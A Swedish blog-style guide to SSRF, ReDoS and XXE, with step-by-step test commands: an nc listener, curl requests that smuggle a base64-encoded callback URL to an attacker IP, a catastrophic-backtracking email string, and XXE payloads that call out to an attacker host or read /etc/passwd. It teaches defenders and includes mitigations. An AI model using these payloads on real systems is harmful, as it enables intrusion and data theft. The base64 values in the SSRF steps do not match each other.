🔐💣📂 tre farliga säkerhetsbrister: ssrf, redos & xxe – en praktisk guide

Webbsäkerhet är som en evig katt-och-rattalek mellan utvecklare och hackare. Idag ska vi undersöka tre vanliga men potentiellt förödande säkerhetshål som kan gömma sig i din applikation – och hur du enkelt kan testa dem själv.

🔐 Server-Side Request Forgery (SSRF) – När din server blir en marionettdocka

#

Tänk dig att du ber en kompis hämta något från ett låst förråd. Men istället för att fråga dig om lov, tar din vän order direkt från vem som helst som verkar trovärdig. Ungefär så fungerar SSRF.

Varför är SSRF farligt?

#

• Portskanning av interna nätverk – Som att dela ut en karta över alla dörrar i ditt hus
• Läckage av känslig data – Metadata, filer eller till och med lösenord
• Möjlighet till RCE (Remote Code Execution) – Den ultimata jackpotten för en angripare

🧪 Praktisk SSRF-test: Steg för steg

#

1. Hitta API-endpointen

   curl http://<MÅL-IP>:3000/api/userinfo
   

   Svar: “id-parametern saknas” – Bingo!

2. Sätt upp din egen lyssnare

   nc -nlvp 4444
   

3. Testa direktanslutning

   curl "http://<MÅL-IP>:3000/api/userinfo?id=http://<DIN IP>:4444"
   

   Funkar inte? API:t är lite smartare än så…

4. Base64-koda din URL – Det magiska tricket!

   echo "http://<DIN IP>:4444" | tr -d '\n' | base64
   

   Resultat: aHR0cDovLzEwLjEwLjE0LjEyMjo0NDQ0

5. Skicka den kodade parametern

   curl "http://<MÅL-IP>:3000/api/userinfo?id=aHR0cDovLzEwLjEwLjE4LjEyMjo0NDQ0"
   

Voilà! Din lyssnare får nu en GET-förfrågan från servern.

🧠 Viktiga lärdomar om SSRF

#

• Base64-kodning kan kringgå grundläggande validering
• Alla externa anrop från servern bör strikt kontrolleras
• Metadata-tjänster (som AWS/Azure) är vanliga mål

🧠 Regular Expression Denial of Service (ReDoS) – När regex blir din fiende

#

Har du någonsin fastnat i ett oändligt samtal med någon som inte kan bestämma sig? Precis så beter sig servern vid en ReDoS-attack.

🔍 Så fungerar ReDoS

#

1. En dåligt skriven regex (t.ex. för e-postvalidering)
2. Angriparen skickar en speciellt konstruerad lång sträng
3. Servern fastnar i backtracking-loopar
4. CPU:n går bananas och tjänsten blir långsam eller kraschar

📍 Praktiskt exempel: E-postvalidering som går snett

#

API-endpoint:

curl "http://<MÅL-IP>:3000/api/check-email?email=test@test.com"

Regex vi får tillbaka:

/^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/

Denna regex har flera problematiska upprepande grupper.

Test med “ond” sträng:

curl "http://<MÅL-IP>:3000/api/check-email?email=jjjjjjjjjjjj@cccccccccccccc.555555555555555555555555555."

Märk hur svarstiden ökar dramatiskt!

🧪 Slutsats om ReDoS

#

• Undvik nästlade upprepningar i regex-mönster
• Använd timeout för regex-operationer
• Överväg enklare valideringsmetoder där möjligt

📂 XML External Entity (XXE) – När XML blir en trojansk häst

#

Att lita på XML-inmatning är som att ta emot en chokladask från en främling – den kan innehålla allt från godis till dynamit.

💣 Steg-för-steg XXE-exploatering

#

1. Identifiera XML-inmatning

   <?xml version="1.0"?>
   <root>
     <email>test@test.com</email>
     <password>P@ssw0rd123</password>
   </root>
   

2. Skapa skadlig XML med extern entitet

   <?xml version="1.0"?>
   <!DOCTYPE pwn [
     <!ENTITY somename SYSTEM "http://<DIN_IP>:4444">
   ]>
   <root>
     <email>&somename;</email>
     <password>P@ssw0rd123</password>
   </root>
   

3. Starta lyssnare och skicka payload

   nc -nlvp 4444
   
   curl -X POST http://<MÅL>:3001/api/login -d '<?xml version="1.0"?><!DOCTYPE pwn [<!ENTITY somename SYSTEM "http://<DIN_IP>:4444">]><root><email>&somename;</email><password>P@ssw0rd123</password></root>'
   

Får du en anslutning på din lyssnare – grattis, du har hittat en XXE-sårbarhet!

📌 Avancerade XXE-tekniker:

#

• Läsa lokala filer: <!ENTITY xxe SYSTEM "file:///etc/passwd">
• Server Side Request Forgery via XML
• Blind XXE med out-of-band-tekniker

🚀 Sammanfattning & Nästa Steg

#

Vi har täckt tre kraftfulla säkerhetsbrister idag:

1. SSRF: Servern gör oönskade externa anrop 💀
2. ReDoS: Regex gör servern extremt långsam 🐢💥
3. XXE: XML blir en farlig ingångsport 🎛️➡️📂

Vad kan du göra nu? ✔️ Testa dina egna API:er med dessa tekniker (med tillstånd!) ✔️ Granska kodbasen efter dessa sårbarheter ✔️ Implementera strikta regler för input-validering

Kom ihåg: Den bästa säkerheten kommer från att förstå hur attacker fungerar, inte bara från att följa checklistor.

Vilken av dessa sårbarheter tror du är mest underskattad i dagens webbapplikationer? Dela dina tankar i kommentarerna! 👇🔒